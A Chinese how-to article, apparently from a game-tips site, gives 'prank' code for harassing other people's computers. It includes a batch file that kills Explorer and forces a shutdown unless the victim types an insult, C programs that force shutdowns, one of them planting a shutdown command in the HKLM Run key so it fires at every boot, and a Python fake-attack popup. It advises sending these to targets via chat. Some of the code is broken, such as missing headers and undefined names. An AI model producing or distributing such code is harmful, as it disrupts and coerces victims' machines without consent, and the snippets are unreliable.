程序恶搞代码怎么做

时间:2025-01-17 22:03:59 游戏攻略

程序恶搞代码的使用需要谨慎,因为这些代码可能会对他人造成困扰或伤害。以下是一些常见类型的恶搞代码及其使用方法:

批处理文件(.bat)

创建一个文本文档,将其后缀名改为 `.bat`。

编辑文件并输入以下代码:

```bat

@echo off

chcp 65001 >nul

set target= "我是250"

title 快在下面输入 % target % ,否则后果自负!

color 0A

shutdown /s /t 60 /c "快点输入!"

taskkill /im "explorer.exe" /f

echo 快点在下面输入 % target % ,否则1分钟后关机!

echo 你现在无法逃避,因为我已经关闭你的电脑的资源管理器了!

echo 不许关闭这个窗口,否则你会打不开系统的!信不信由你!

echo .

:input

set /p input=在这里输入 % target %

if "%input%" == % target % (

echo .

echo 哈哈,真乖。

call "%WINDIR%\explorer.exe"

shutdown /a

ping 127.0.0.1 /n 3 >nul

del %0

) else (

echo .

echo 快点输入!

goto input

```

保存文件并通过聊天工具发送给目标。

C语言程序

编写一个C语言程序,例如:

```c

include

int main() {

int n;

char a;

printf("叫大哥,不叫就关机(你有30秒的时间,如果关闭本程序一样要关机)\n");

system("shutdown -s -t 3600");

while(1) {

printf("叫:");

scanf("%s", &a);

n = strcmp(a, "大哥");

if(n == 0) {

system("shutdown -a");

printf("嗯,真乖!!!爽!哈哈哈!!!");

break;

}

}

return 0;

}

```

编译并运行程序。

Python程序

编写一个Python程序,例如:

```python

import tkinter.messagebox

import threading

import time

def boom():

window = tk.Tk()

width = window.winfo_screenwidth()

height = window.winfo_screenheight()

a = random.randrange(0, width)

b = random.randrange(0, height)

window.geometry(f"+{a}+{b}")

window.mainloop()

while True:

tkinter.messagebox.showerror('Windows 错误', '你的电脑正在被攻击!')

time.sleep(5)

```

打包成exe文件并通过聊天工具发送给目标。

注册表恶搞

编写一个C语言程序,将程序名放入注册表的 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,例如:

```c

include

include

int main() {

HKEY key;

char command[] = "shutdown -s";

RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &key);

RegSetValueEx(key, "test", 0, REG_SZ, (const char *)command, sizeof(command));

RegCloseKey(key);

return 0;

}

```

编译并运行程序。

警告:使用这些代码时,请确保不会对他人造成实际伤害,并且遵守相关法律法规。恶作剧可能会引起他人的不满和反感,甚至可能触犯法律。